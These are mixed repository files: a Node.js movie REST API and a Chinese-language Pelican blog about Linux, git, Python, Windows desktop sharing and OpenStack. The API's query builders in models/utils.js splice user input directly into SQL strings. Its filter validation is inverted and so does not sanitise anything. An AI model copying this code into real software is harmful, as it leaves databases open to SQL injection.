INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Chris", "Hemsworth", "1");
INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Chris", "Evans", "1");
INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Ricardo", "Darín", "2");
INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Mario", "Casas", "3");
INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Brad", "Pitt", "4");
<file_sep>/models/utils.js
const selectQuery = ({pageNumber, pageSize, filter}, table, orderColumnName, filterColumnName) => {
let offsetClause = '';
let limitClause = '';
let filterClause = '';
if (pageNumber && pageSize) {
offsetClause = ' OFFSET ' + ((pageNumber - 1) * pageSize);
limitClause = ' LIMIT ' + pageSize;
}
if (filter) {
filterClause = ' WHERE ' + filterColumnName + ' LIKE "%' + filter + '%"';
}
return 'SELECT * FROM ' + table + filterClause + ' order by ' + orderColumnName + ' ASC' + limitClause + offsetClause;
}
const deleteQuery = (table, columnName, value) => {
return 'DELETE FROM ' + table + ' WHERE ' + columnName + '=' + value;
};
const updateQuery = (table, columnName, columnValue, newData) => {
const columns = Object.keys(newData);
let setClause = columns[0] + "='" + newData[columns[0]] + "'";
if (columns.length > 1) {
for (let i = 1; i < columns.length; i++) {
setClause += ", " + columns[i] + "='" + newData[columns[i]] + "'";
}
}
return 'UPDATE ' + table + ' SET ' + setClause + ' WHERE ' + columnName + '=' + columnValue;
}
const formatArrayToSqlArray = (originalArray) => {
let sqlArray = '(';
for (let i = 0; i < originalArray.length; i++) {
sqlArray += "'" + originalArray[i] + "',";
}
return sqlArray.substr(0, sqlArray.length - 1) + ")";
};
module.exports = {
selectQuery,
deleteQuery,
updateQuery,
formatArrayToSqlArray
}<file_sep>/README.md
# API Rest Peliculas
## Arquitectura
La arquitectura es de 3 capas:
- Una capa que se comunica con el cliente (***server.js***)
- Una capa de lógica (directorio ***controllers***)
- Una capa de interacción con la base de datos (directorio ***models***)
## Run app (Entorno Local)
### Configuración de Base de Datos
Debe haber una instancia de mysql corriendo en el host con un usuario root y una password. La password se debe settear como variable de entorno haciendo **export mysql_password=(root password)** y después se corre el comando **npm run initialize-database**
### Iniciar aplicación
La app se inicia con el comando **npm run start** y corre en el puerto 3000 (http://localhost:3000)
## Tests
<file_sep>/controllers/validations.js
const validateParams = (params) => {
const notExpectedParams = Object.keys(params).filter(param =>
!['pageSize', 'pageNumber', 'filter'].includes(param)).length !== 0;
const bothParams =
(!params.pageSize && !params.pageNumber) ||
(params.pageSize && params.pageNumber);
if (notExpectedParams) {
throw Error('Wrong Params');
}
if (!bothParams) {
throw Error('Both Params');
}
if (params.pageSize) {
if(isNaN(params.pageSize)) {
throw Error('Wrong Data type');
}
}
if (params.pageNumber) {
if(isNaN(params.pageNumber)) {
throw Error('Wrong Data type');
}
}
if (params.filter) {
if(params.filter.match(/^[A-Za-z]+$/)) {
throw Error('Wrong Data type');
}
}
}
module.exports = {
validateParams
}
| aa22fe4276fad1d6e6beac43ea2401223baa0051 | [
"JavaScript",
"SQL",
"Markdown"
] | 8 | JavaScript | NicoleTobal/api-rest-peliculas | 2e99d536e0b3772c82b240177be36e592b6f6671 | 8d370ef80666450da80e6f2eb5bae3e9c94dad5d |
refs/heads/master | <file_sep>Title: Hello, World!
Date: 2014-08-22 10:20
Category: blog
Tags: blog
Slug: helloworld
Author: <NAME>
是的,按照惯例,这是一个Hello, world!
仅作为在 github 上的第一篇文章。
<file_sep>Title: 调整 ubuntu 的字体
Date: 2015-07-17 11:20
Category: blog
Tags: blog
Slug: adjust-ubuntu-fonts
Author: <NAME>
安装完 Ubuntu 桌面版本的系统后,在默认情况下,字体的显示效果不是很好,会有模糊等现象。
So ,如果想调整一下字体,首先安装一些中文字体:
sudo apt-get install fonts-wqy-zenhei
sudo apt-get install fonts-wqy-microhei
这两个文泉驿字体能满足大部分的需求了,对于码农来说,最好还加一个 Adobe 的 source code pro 字体,这个字体用来显示等宽或代码时效果非常好
wget https://github.com/adobe-fonts/source-code-pro/archive/1.017R.zip -O source-code-pro-1.017R.zip
unzip source-code-pro-1.017R.zip
sudo mkdir -p /usr/share/fonts/opentype
sudo cp source-code-pro-1.017R /usr/share/fonts/opentype
sudo fc-cache -f -v
安装了字体之后,使用 unity-tweak-tools 调整字体
sudo apt-get install unity-tweak-tool
在 unity-tweak-tools 的字体选项中,将 monospace font 改成 source-code-pro,然后调整次像素平滑(hinting)为 sligtly等。
按照网上的一些说法,需要调整 `~/.font.conf`
<?xml version='1.0'?>
<!DOCTYPE fontconfig SYSTEM 'fonts.dtd'>
<fontconfig>
<match target="font">
<edit mode="assign" name="autohint">
<bool>false</bool>
</edit>
</match>
<match target="font">
<edit mode="assign" name="rgba">
<const>rgb</const>
</edit>
</match>
<match target="font">
<edit mode="assign" name="hinting">
<bool>true</bool>
</edit>
</match>
<match target="font">
<edit mode="assign" name="hintstyle">
<const>hintmedium</const>
</edit>
</match>
<match target="font">
<edit mode="assign" name="antialias">
<bool>true</bool>
</edit>
</match>
</fontconfig>
然后,退出重新登录,字体生效。调整过之后,字体会好看一点~
另外,在 http://www.lulinux.com/archives/278 有一个打包好的脚本,用了微软雅黑和宋体,简单好用。
<file_sep>Title: 常用Linux命令
Slug: useful-linux-commands
Date: 2014-09-13 13:57
Modified: 2014-09-13 13:57
Category: blog
Tags: tech, linux, shell
Author: <NAME>
本文整理一些常用的Linux命令,以及shell编程中使用到常用语句。
## shell中判断
使用`if`进行判断
if [ <condition> ]; then
# Do something
fi
包含多个分支,使用`if-elif`
if [ <condition> ]; then
# Do something
elif [ <condition> ]; then
# Do somethin
fi
## watch查看命令多次执行的结果
watch能多次执行命令,并把命令的结果显示出来,支持每隔n秒执行一次命令,并把执行结果的差异显示。
watch -n <seconds> -d <commands>
## tar压缩打包
常用的tar参数包括:
+ `-c` 创建包
+ `-x` 解包
+ `-v` 显示处理的文件
+ `-z` gzip格式
+ `-j` bzip2格式
+ `-f` 文档名,后面应立即使用包文档路径参数
示例:
tar -xvf a.tar.gz
tar -zcvf a.tar.gz a/
tar -jcvf a.tar.bz2 a/
## scp远程拷贝
为了把远程服务器上的内容拷贝下来,首先需要在远程服务器上安装ssh服务,然后在本地使用`scp`命令通过ssh把内容拷贝下来。`scp`命令与`cp`的操作类似:
scp -r <username@server:/server_path> <local_path>
其中`-r`表示recursive,用于拷贝目录。需要把本地内容拷贝到服务器,则把两个路径调换位置:
scp -r <localpath> <username@server:/server_path>
<file_sep>Title: 使用virtualenv建立python开发环境
Date: 2014-08-28 20:20
Category: blog
Tags: tech, python
Slug: virtualenv
Author: <NAME>
在python开发中,经常性需要安装一系列的依赖库。如果使用root用户安装到系统的python环境中,容易导致python目录越来越庞大。而后面更加麻烦的是,当开发完成之后,不知道该删除哪些依赖库了,因此也不敢删了。现在的Linux发行版中,各种组件对python环境的依赖很强,不小心删错了,绝对会让人追悔莫及!
为此,我们绝对需要把我们的开发环境与系统的python环境隔离,让依赖库只在开发目录下存在,不会影响到系统python环境。使用virtualenv工具,可以轻易地帮助我们达成目的。
<!-- PELICAN_END_SUMMARY -->
virtualenv工具建立一个项目专用的python环境,在该环境中,有独立的`bin include lib local`等目录,里面会有一个单独的python环境。
如果要在建立一个virtualenv环境(目录为.env),使用命令:
virtualenv .env
然后,使用命令:
tree -d .env
可以查看到整个目录的树结构
├── bin
├── include
│ └── python2.7 -> /usr/include/python2.7
├── lib
│ └── python2.7
│ ├── config -> /usr/lib/python2.7/config
│ ├── distutils
│ ├── encodings -> /usr/lib/python2.7/encodings
│ ├── lib-dynload -> /usr/lib/python2.7/lib-dynload
│ └── site-packages
│ ├── _markerlib
│ ├── pip
│ │ ├── backwardcompat
│ │ ├── commands
│ │ ├── vcs
│ │ └── _vendor
│ │ ├── colorama
│ │ ├── distlib
│ │ │ └── _backport
│ │ ├── html5lib
│ │ │ ├── filters
│ │ │ ├── serializer
│ │ │ ├── treeadapters
│ │ │ ├── treebuilders
│ │ │ ├── treewalkers
│ │ │ └── trie
│ │ ├── _markerlib
│ │ └── requests
│ │ └── packages
│ │ ├── chardet
│ │ └── urllib3
│ │ ├── contrib
│ │ ├── packages
│ │ │ └── ssl_match_hostname
│ │ └── util
│ ├── pip-1.5.6.dist-info
│ ├── setuptools
│ │ ├── command
│ │ └── tests
│ └── setuptools-3.6.dist-info
└── local
├── bin -> /home/fengyingcai/hello/bin
├── include -> /home/fengyingcai/hello/include
└── lib -> /home/fengyingcai/hello/lib
然后,使用命令:
source .env/bin/activate
就可以激活这个virtualenv环境,这时,会看到在命令提示前,会有
(.env)
的提示
如果要退出,使用命令:
deactivate
Yingcai FENG at SYSU
<file_sep># Windows 上使用 cygwin 连接到 docker toolbox #
Docker 确实给软件开发带来一些好处,在简化部署、统一开发、测试和生产环境上,有它独到的理念。Linux 上可直接安装 docker ,使用起来也比较简单。 Windows 上是通过虚拟机运行 docker ,然后通过 ssh 连接到虚拟机中。在目前最新的 docker 版本 1.8.3 中,已使用了 docker-machine 来定义 docker 虚拟机,并可以运行多个 docker 虚拟机实例。
Docker toolbox 是一系列 docker 工具的集合,包括 windows 上的 docker client , docker machine , Kitematic (实验性的图形界面), virtualbox 。但是 toolbox 里面缺少了 docker-compose,这个还要想办法解决 (可能可以在 cygwin 的环境下运行)(https://github.com/docker/compose/releases)
Docket toolbox 工具在安装时,带有一个 git for windows 。git for windows 会在右键菜单上注册几个 git 操作,由于已经使用了 tortoise git,就没有必要使用 git for windows。仔细研究了一下,其实 toolbox 只是为了使用 git for windows 里面的 shell 来运行 docker 启动命令,因此完全可以使用 cygwin 等替代。
首先,看看桌面上默认安装的快捷方式
Docker Quickstart Terminal
查看文件的属性,发现它使用了 git for windows 的 shell 环境,来运行 toolbox 的 start.sh 脚本,直接用 cygwin 的 mintty.exe 替换掉,如下:
D:\Programs\cygwin\bin\mintty.exe "C:\Program Files\Docker Toolbox\start.sh"
运行,发现脚本运行报错,缺少了 clear 命令。 clear 命令属于 ncurses 包,在 cygwin 的安装工具中,把 ncurses 加上即可。
现在可以把 git for windows 卸载掉了。<file_sep>Title: Windows桌面共享
Date: 2014-08-29 21:00
Category: blog
Tags: windows
Slug: windows-desktop-sharing
Author: <NAME>
最近在做一个windows桌面共享的项目,找了一系列的方法:
**视频广播方式**
视频广播方式可能是最具备跨平台特性的方式。在本地程序录制桌面的视频,或者基于硬件直接录制然后播放,然后实时发送到各个客户端。这种思想有很多的实现方式,而且整个结构很容易理解和扩展。
录制的方式,总结了一下,找到下面的录制方式:
1. windows GDI 截图
2. directShow 直接录制
3. mirror driver 或 mini port 驱动录制
4. ffmpeg 录制
为了降低分享桌面的主机的负载,可以引入特定的视频广播服务器,由服务器进行视频转发。具体的协议可通过udp/rtsp等实现。
这种方式具备与平台无关的特性,视频录制方式可随时扩展,而通过标准的接口把数据提交到转发服务器。但实现起来,需要做的工作也很多,需要理解基本的视频处理知识,实现一个良好的系统框架。
**Windows Desktop Sharing**
如果是只针对windows平台,通过windows desktop sharing,工作量可以减少很多。
windows desktop sharing是基于rdp的一套API,提供非常简单快捷实现桌面共享的功能。根据在[MSDN]上的介绍,这个功能是微软从Vista开始提供的功能,而且在[BLOG]中提到,这个功能是微软的 "Windows Meeting Space" 和 "Remote Assistance" 的基础。
目前粗略看了一下MSDN上的介绍,它的核心对象就是RDPSession和RDPViewer两个,其它的操作在这两个对象的基础上进行。
除了支持桌面共享,这个API还支持很多有意思的功能,比较连接反转(Reverse Connect)、应用程序窗口共享、虚拟通道等等。
目前准备使用Windows Desktop Sharing来实现一个系统原型,评测一下效果。
[MSDN]: http://msdn.microsoft.com/en-us/library/bb968809.aspx "MSDN Windows Desktop Sharing"
[BLOG]: http://blogs.msdn.com/b/rds/archive/2007/03/08/windows-desktop-sharing-api.aspx "Remote Desktop Service Blog"
---
<NAME>
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = u'<NAME>'
SITENAME = u'Mass 9'
SITEURL = u'http://fengyc.github.io/blog'
PATH = 'content'
TIMEZONE = 'Asia/Shanghai'
DEFAULT_LANG = 'zh'
THEME = 'pelican-themes/gum'
PLUGIN_PATHS = ["pelican-plugins"]
#PLUGINS = ["summary"]
# Feed generation is usually not desired when developing
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None
# Blogroll
#LINKS = (('Pelican', 'http://getpelican.com/'),
# ('Python.org', 'http://python.org/'),
# ('Jinja2', 'http://jinja.pocoo.org/'),
# ('You can modify those links in your config file', '#'),)
# Social widget
SOCIAL = (('Weibo', 'http://weibo.com/fyingcai/'),
('Github', 'https://github.com/fengyc/'),)
GITHUB_URL = 'https://github.com/fengyc/'
MENUITEMS = (("About","/blog/about"),)
DEFAULT_PAGINATION = 10
SUMMARY_MAX_LENGTH = 40
# Uncomment following line if you want document-relative URLs when developing
RELATIVE_URLS = True
<file_sep>#!/bin/bash
set -e
CUR_DIR=$(cd "$(dirname "$0")"; pwd)
cd "$CUR_DIR"
# install pip
! which pip > /dev/null && sudo apt-get install python-pip
# install virtuanenv
! which virtualenv > /dev/null && sudo apt-get install python-virtualenv
# create virtual environment
if [ ! -e "$CUR_DIR/.venv/bin/activate" ]; then
virtualenv -p python3 "$CUR_DIR/.venv"
if [ "$?" != "0" ]; then
echo "Could not locate virtualenv"
exit 1
fi
fi
# active virtual environmemt
source "$CUR_DIR/.venv/bin/activate"
set +e
<file_sep># About the project
This is a blog project.
# Quick start
## Install virtualenv and requirements
On ubuntu:
apt-get install python-pip
apt-get install python-virtualenv
virtuanenv -p python3 .venv
source .venv/bin/activate
pip install -r requirements.txt
## Build html pages
In virtual environment:
make html
## Test html
make devserver [PORT=8000]
# License
CC0 1.0 Universal
<file_sep>Title: Windows桌面共享2
Date: 2014-09-01 23:20
Category: blog
Tags: tech, windows, C#
Slug: windowns-desktop-sharing-2
Author: <NAME>
经过一天的尝试,使用Windows Desktop Sharing API写了一点原型代码,并运行起来查看效果。
我是使用C#来调用这个API的(本身是COM,可以由Visual Studio自动添加包装)。原型系统的代码分为服务器端(Sharer)和客户端(Attendee),只是简单地把整个桌面全部共享出来。下面,是一些编程中的核心的内容。
## Sharer端
在Sharer端,首先要引入API的COM,名称为`rdpcomapi 1.0 Type Library`,文件路径为`C:\Windows\System32\rdpencom.dll`。在引入的同时,Visual Studio会自动把这个COM进行包装,从而在项目的引用中可看到`RDPCOMAPILib`这个库,而查看其属性,会看到路径为项目某个目录下的`Interop.RDPCOMAPILib.dll`。在引入之后,可通过Visual Studio的对象查看器,查看这个dll里面包含的内容。
Sharer端,以`RDPSession`接口为突破口,其它的操作都围绕这个接口进行。首先,创建接口的实例(在测试中,Sharer端只用了一个实例):
private RDPSession rdpSession = new RDPSessionClass();
然后,就需要在这个实例正式开始连接之前,做初始化的准备,比如属性设置:
rdpSession.Properties["DrvConAttach"] = false;
...
上面是在1:M的模式下,微软建议使用mirror driver静态加载模式,具体请查看MSDN的相关内容。
Desktop Sharing支持应用程序和窗口过滤,只需要在RDPSession中进行简单的设置,即可以把不需要的共享的应用程序和窗口屏蔽。根据MSDN上的说法,这个过程分成两种,如果应用程序被共享,那么它的窗口不管是什么共享状态,都会被共享;如果应用程序被禁止共享,那么则要根据窗口的共享状态来决定是否共享。
rdpSession.ApplicationFilter.Enabled = true;
RDPSRAPIApplicationList appList = rdpSession.ApplicationFilter.Applications;
RDPSRAPIWindowList windownList = rdpSession.ApplicationFilter.Windows;
……
以上内容进行应用程序和窗口过滤。
还可以对一系列的事件进行监听,对Attendee连接、应用状态变化、窗口状态变化等等,进行事件处理,具体的通过`RDPSession.On*`来处理。
完成初始化之后,通过
rdpSession.Open()
正式开启共享会话。在Win7上,这时会提示`正在运行的程序与windows 的某些可视元素不兼容`,我怀疑这是mirror driver的问题,我调试时查看了`rdpSession.colordepth`,发现只有24位。
此后,就需要通过创建`Invitation`,建立会话邀请:
RDPSRAPIInvitation invitation = rdpSession.Invitations.CreateInvitation("123", "123", "123", 1);
string connString = invitation.ConnectionString;
ConnectionString是一个简单xml格式的字符串,包含了Sharer主机多个IP信息,还有一个类似于一次性邀请码之类的字符串。ConnectionString最好是能自动传递,避免人工输入时出错。Attendee端在加入到会话时,需要到这个字符串。
## Attendee端
Attendee端的工作相对简单一点。
首先,Attendee端要引入AxRDPViewer控件。在Visual Studio的`工具箱`窗口,右键->选择项,找到AxRDPViewer控件,加入到`工具箱`中。
直接把AxRDPViewer控件拉到一个窗口,设置名字为rdpViewer。
按照Sharer的设置,rdpViewer也需要设置相关的properties,如:
rdpViewer.Properties["PortId"] = 4580;
rdpViewer.Properties["PortProtocol"] = 2;
……
如果需要监听会话事件,与Sharer端一样,设置相应的`rdpView.On*`处理事件。
## 性能和评估
Win7下的RDP,有专门的mirror driver驱动,性能比普通的截图方式要好很多。在使用普通的办公软件的话,如果没有大规模的刷新,大概占用20-40KB/S左右。但是遇到像播放视频这种,是需要到很大的带宽的。试过一个高清的视频,分辨率为1024x576,播放时占用了5-6MB/S左右,这也是没有办法的事:-(
目前,我并没有找到Desktop Sharing的组播或广播方式。如果只能以点对点进行桌面共享,是无法适应大规模的演示、上课等需求的。国内这方面的公开资料并不多,可能都是各家厂商的核心技术所在。看到一些帖子,说是通过GDI勾子或者是mirror driver的方式实现,原理上感觉还算是靠谱。
利用这个功能,还是可以做一个简单的小组共享软件,在人数不多的情况下,效果还可以。我准备有空的时间弄一个玩玩。
真正要实现大规模的桌面共享,看来还需要看看mirror driver相关的内容,需要自己手工截图进行,进行UDP广播。带有Desktop Sharing的Windows,都会有RDP Encoder Mirror Driver,可以试着用一用,具体看[Using "RDP Encoder Mirror Driver" to Capture Screen]。
[Using "RDP Encoder Mirror Driver" to Capture Screen]: http://www.codeproject.com/Articles/716128/Using-RDP-Encoder-Mirror-Driver-to-Capture-Screen "使用RDP的Mirror Driver"
---
Yingcai FENG at SYSU
<file_sep>Title: git常用命令
Slug: useful-git-commands
Date: 2014-08-24 17:40
Modified: 2014-09-14 17:40
Category: blog
Tags: git
Author: <NAME>
本文章记录了git的日常使用中的常用命令。
<!-- PELICAN_END_SUMMARY -->
**下载远程仓库**
git clone <URL>
**更新**
git pull
**推送**
git push
**在本地工作目录指定远程仓库**
git remote add <URL>
**取消本地修改**
git checkout <FILE>
**查看远程仓库**
当git仓库clone到本地之后,如果忘记了具体的远程仓库地址,可通过以下的命令查看:
git remove -v
**添加子模块**
当项目需要引用到其它git仓库时,使用子模块
git submodule add <URL>
**子模块初始化**
当一个git仓库被clone下来之后,子模块并不会被自动下载下来,使用下面的命令初始化各个子模块:
git submodule update --init --recursive
某些时候,当子模块的目录存在的时候,会导致初始化出错,这时候,直接删除子模块的目录:
rm -rf <子模块目录>
**删除子模块**
很奇怪,并没有`git submodule remove/delete`命令,只能通过先删除子模块目录,然后调整`.gitmodules`文件来实现
git rm --cache <DIR>
rm -rf <DIR>
然后修改`.gitmodules`实现
---
Yingcai FENG
<file_sep>Title: 在Ubuntu中安装WPS
Date: 2014-09-20 15:20
Category: blog
Tags: blog
Slug: install-wps-in-ubuntu
Author: <NAME>
WPS的官网上已经提供了.deb安装包,但是只有32位的版本,目前还没有64位的版本。现在的电脑配置基本上都超4G内存了,使用64位的系统才能更好地利用更多内存,现在的Linux大部分都使用64位了。尽管WPS还没有推出64位的版本,但能在Linux上发行,已经是很大的进步。
64位的系统要安装32位的软件,还需要动动脑筋。原来Ubuntu是提供一个`ia32-libs`安装包,把32位系统所需要的软件包都一起装了。在14.04上,并没有在官方的源中找到这个包。
然而,尝试了一下之后,发现还是能把WPS装上。过程如下:
首先,到[wps](http://community.wps.cn/download/)网站上下载wps,我下载了`wps-office_9.1.0.4751~a15_i386.deb`。并下载字体包 `wps-office-fonts_1.0_all.deb`。
现在,开启32位支持:
dpkg --add-architecture i386
apt-get update
然后,直接尝试安装WPS:
dpkg -i wps-office_9.1.0.4751~a15_i386.deb
安装过程会报错,但是WPS还是安装了,然后用
apt-get -f install
会把WPS依赖的32位的软件包安装上去。那么,继续安装字体包:
dpkg -i wps-office-fonts_1.0_all.deb
完成后,就可以使用WPS了。<file_sep>Title: 博客地址变动
Date: 2015-07-13 10:30
Category: blog
Tags: blog
Slug: blog-address-move
Author: <NAME>
博客地址变动了,现在转移到以一个blog project形式上,因此地址会变成:
https://fengyc.github.io/blog/
<file_sep>Title: 在Ubuntu中安装Oracle JDK
Date: 2014-09-18 13:02
Category: blog
Tags: tech, linux, java
Slug: install-oracle-jdk-in-ubuntu
Author: <NAME>
尽管OpenJDK发展到现在已经能兼容绝大多数的标准Java应用场景,但是在某些微小的方面,仍然存在一点小问题。在Ubuntu中安装的Eclipse,使用OpenJDK时,使用内置的浏览器会有点问题,因此,我需要转换到Oracle的JDK。
可以手工安装OracleJDK,比较烦琐。可以通过已打包好的PPA,进行安装:
add-apt-repository ppa:webupd8team/java
apt-get update
apt-get install oracle-java7-installer
webupd8的官方网站为[webupd8.org](http://www.webupd8.org/)。他们提供了一系列的软件包,见[packages](http://www.webupd8.org/p/ubuntu-ppas-by-webupd8.html)。
<file_sep>Title: 利用pelican在github上搭建博客的办法
Date: 2014-08-22 20:20
Modified: 2014-08-26 14:12
Category: blog
Tags: github, python
Slug: pelican-github-blog
Author: <NAME>
发现能在github上搭建博客之后,经过一翻寻找之后,学会了使用pelican建立起整个博客系统。
pelican使用python语言编写,支持markdown(.md)/reStructuredText(.rst)语法。对程序员而言,用它来编写博客内容是最好不过了,而且放在github上,也给人一种不明觉历的感觉:-)
这篇文章记录在ubuntu 14.04下,使用pelican和github搭建博客的过程。
<!-- PELICAN_END_SUMMARY -->
## 安装过程
**在github上建立博客项目**
在github上建立一个账号,并建立一个公共项目,项目名为"账号.github.io",不需要建立README等,保持项目为空白,如:
https://github.com/abc/fengyc.github.io
**安装准备环境**
apt-get install -y --force-yes git python-pip python-dev virtualenv
**把项目clone到本地**
mkdir blog
cd blog
git init
git remote add origin https://github.com/fengyc.github.io.git
git fetch
**建立virtualenv环境**
mkdir .env
virtualenv .env
**激活virtualenv环境**
source .env/bin/activate
**安装pelican和Markdown**
在激活了virtualenv的前提下安装,避免污染python环境
pip install pelican
pip install Markdown
**建立源分支**
git checkout -b source
pelican-quickstart
请根据自己的实际环境选择向导中的变量
**编写第一个页面**
用markdown语法编写一个页面,如([pelican-getting_started]):
Title: My super title
Date: 2010-12-03 10:20
Category: Python
Tags: pelican, publishing
Slug: my-super-post
Author: <NAME>
Summary: Short version for index and feeds
This is the content of my super blog post.
**编译并发布**
make html
pip install ghp-import
git branch gp-pages
ghp-import output
git checkout master
git merge gh-pages
git push --all
## pelican主题
pelican提供了很多的主题供用户使用,首先把主题下载到本地:
git clone https://github.com/getpelican/pelican-themes.git
然后,进入到主题目录中,安装主题
cd pelican-themes
pelican-themes -i gum
## 增加DISQUS作为讨论组
先到DISQUS([disqus])申请一个账号,并建立一个讨论组。记录下讨论组的shortname,然后记录到配置文件中:
DISQUS_SITENAME=zenmass
## 使用google analytics([google-analytics])
申请一个google analytics账号,建立一个项目,然后把跟踪ID填入到配置文件中:
GOOGLE_ANALYTICS=
[pelican-getting_started]: http://docs.getpelican.com/en/3.3.0/getting_started.html "pelican参考页面"
[disqus]: http://disqus.com/ "DISQUS申请"
[google-analytics]: http://www.google.cn/intl/zh-CN/analytics/ "Google Analytics申请"
<file_sep>Title: Linux网络配置
Date: 2014-09-13 20:20
Category: blog
Tags: tech, linux
Slug: useful-linux-network-config
Author: <NAME>
## Ubuntu停用Network Manager
Desktop版本的Ubuntu,使用Network Manager来进行网络管理,它会导致在`/etc/network/interface`中的设置不生效。由于在进行一些网络功能的开发时,需要用到`/etc/network/interface`文件管理网络,需要停用Network Manager。
service network-manager stop
并向`/etc/network/interface`中写入具体的配置
cat>>/etc/network/interface<<EOF
auto eth0
iface eth0 inet static
address 192.168.0.128
netmask 255.255.255.0
gateway 192.168.0.1
dns-nameservers 192.168.0.1
EOF
然后,使用
ifdown --exclude=lo -a && ifup --exclude=lo -a
把网络重启。
## 为网卡增加配置多个IP
为了区分各个网络,需要使用多个网段。而在只有一个网卡的时候,就需要为这个网卡配置多个IP。实现的手段有两种:
1. 配置虚拟网络接口
在`/etc/network/interface`中,增加类似`eth0:1`的接口,如:
auto eth0:1
iface eth0:1 inet static
address a.b.c.d
netmask a.b.c.d
2. 通过`ip addr add`命令
`ip addr add`命令在网卡上增加一个地址,如:
ip addr add 192.168.0.128/24 dev eth0
## Linux中DNS配置
一般,应该通过`/etc/network/interface`文件设置`dns-nameservers`来配置,`interface`文件中的配置,会被解析并自动更新到`/etc/resolv.conf`文件中。
如果需要临时修改DNS配置,也可以直接把DNS写入到`resolv.conf`中,如:
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
<file_sep># rpyc 回调模式工作不正常 #
最近使用了 rpyc 来处理一个多节点间的文件同步的任务,目标是使用 rpyc 来实现简单的 p2p 文件传输机制,以减少单点负载和单点失败对传输的影响。
和 p2p 的基本设计一下,在设计时,对文件进行了分块处理,并为每一块加上了校验。每个分块的情况和校验码保存成一个元数据文件。使用的校验算法是 python 的 zlib 模块里面的 adler32 ,简单高速。并为每个文件节点加上简单的并发上传、下载数量限制。
下载时,节点从 rpyc 的 registry 发现文件节点服务,并查询这个节点的可用文件列表和文件下载进度,从中挑选若干个节点进行下载,并更新自身的文件下载进度,供后续节点继续从此节点下载。
在处理 rpyc 的远程调用时,原本是通过异步调用的方式从远程读取数据的,然后再通过回调函数 callback 将拿到的数据写入到本地文件中。调试时代码工作正常,日志正常。
但到了测试环境运行时,就发现一个现象,异步调用的回调函数永远没有执行! 这个现象很怪,从被下载的节点的日志上可以看到已经进行了调用并返回数据,但是下载节点就是不进入回调函数并处理数据。在调试了很多次代码之后,还是没有找到确切的原因。
因此,把这段代码换成了多线程的方式,使用了线程池来处理每个块的下载。这下就工作得很好了,除非刚好拥有某个文件的节点都下线了,否则随便掉几个节点并没有实质的影响。
现在猜测可能是跟 python 本身的运行机制有关系,导致了 rpyc 的回调没有正常工作,后面再研究。<file_sep>Title: Openstack中使用Keypair连接到VM
Date: 2014-09-17 14:33
Category: blog
Tags: tech, openstack
Slug: using-keypair-connect-vm
Author: <NAME>
通常,系统的用户名和密码都是安装过程中指定的,然后通过安全的渠道交到最终使用者的手中。这种传统的方式在进行大规模的服务器管理时就非常麻烦,因为每台机器都需要指定用户名和密码,导致需要管理的密码数量非常庞大。如果需要更改密码,还需要逐个来修改!!
在云计算中无法使用这种方式来管理虚拟机系统。镜像的开发者无法得知谁是最终的用户,最终用户无法确保开发者会不会用默认的用户名和密码来干坏事。
因此,云计算普通会采用一种在系统第一次运行时把用户名密码注入到系统的办法,Openstack与Amazon的AWS都使用这样的办法来管理,但是不是通过用户名密码,而是通过一对密钥对。密钥对是用户自己生成的,可以在多台服务器上使用,用户使用私钥连接到各个服务器。
在Openstack Dashboard上,生成一对KeyPair。公钥保存在Openstack上,私钥在生成时直接下载到用户本地。Openstack的私钥保存为一个.pem文件。
密钥对生成之后,在启动实例时,为VM指定一个此密钥对。那么在VM初始化时,当网络初始化完成之后,安装在VM系统里面的初始化工具,向`169.254.169.254`这个特殊的IP地址,向Openstack请求VM的元数据(metadata),元数据中包含了VM的密钥对中的公钥。然后,初始化工具把此公钥安装到`/root/.ssh/authorized_keys`中。
putty可以使用私钥登录到VM上,但需要做一点工作。putty使用的私钥文件格式是`.ppk`,需要把`.pem`文件转换为`.ppk`文件。使用puttygen这个图形化工具,转换的工作十分简单,见[winscp-puttygen](http://winscp.net/eng/docs/ui_puttygen)。
<file_sep>Title: 参与 github 开源项目开发
Date: 2015-07-13 21:20
Category: blog
Tags: blog github
Slug: fork-github-project
Author: <NAME>
开源是一种态度,只要想参与,都可以向开源社区贡献力量。参与到开源并不只是提交代码,还可以以很多方式参与,如提交 bug ,给出建议,帮助更新文档,协助进行本地化等等。再加上现在有 github 这样方便的工具,参与到开源其实是很简单的事情。
github 上有很多的开源项目,并提供一些辅助的工具来帮助项目发展,如 Issues 、 Pull requests 、 Wiki 、 GitHub Pages 等等。
github 使用 git 作为 VCS 系统。如果想向项目贡献代码,还是需要了解 git 的基本使用,最好还了解 gitflow、gerrit 等等周边工具,很多项目会同时使用这些工具来作为分支流程管理标准和代码审核、bug跟踪管理等等。
github 上通过 fork 克隆一个项目到自己的 github 库,然后自己用 git 下载下来修改,修改完毕后,更新到 github 上。然后可以通过创建一个 Pull request 给项目维护者,让维护者把你的代码合并进项目里面。
具体的操作如下:
<fork 代码库>
git clone <你的代码库 URL>
<修改>
git commit -a '<修改信息>'
git push
<创建 pull request>
如果修改的时间很长,这个时候可能原始代码库已有其他人的更新,因此需要把其他人的更新合并到自己的代码库中。首先要把原始代码库作为 git 的远程库,通常这个远程库以 upstream 为名字:
git remote add upstream <原始代码库 URL>
然后,取得 upstream 的更新:
git fetch upstream
并合并到当前分支,以 origin/master 为例:
git merge upstream/master origin/master
git push
一般来说,建议以 ssh + 非对称密钥 方式访问 git,这样安全性比较高,同时不需要在 push 时输入口令,相对方便一点。
ssh + 非对称密钥的方法也很简单。首先,生成一对公私钥:
ssh-keygen -t rsa -C '<你的邮箱>'
生成的公私钥在 `~/.ssh/id_rsa` `~/.ssh/id_rsa.pub` 中。然后在github的账户设置SSH-keys中,把 `~/.ssh/id_rsa.pub` 的内容拷贝到一个新的 ssh key。并使用以下的命令测试是否成功:
ssh -T git@github.com
测试成功时,会显示:
Hi <xxx>! You've successfully authenticated, but GitHub does not provide shell access.
<file_sep>Title: 使用devstack部署openstack环境
Slug: use-devstack-deploy-openstack
Date: 2014-09-14 21:55
Category: blog
Tags: tech, openstack
Author: <NAME>
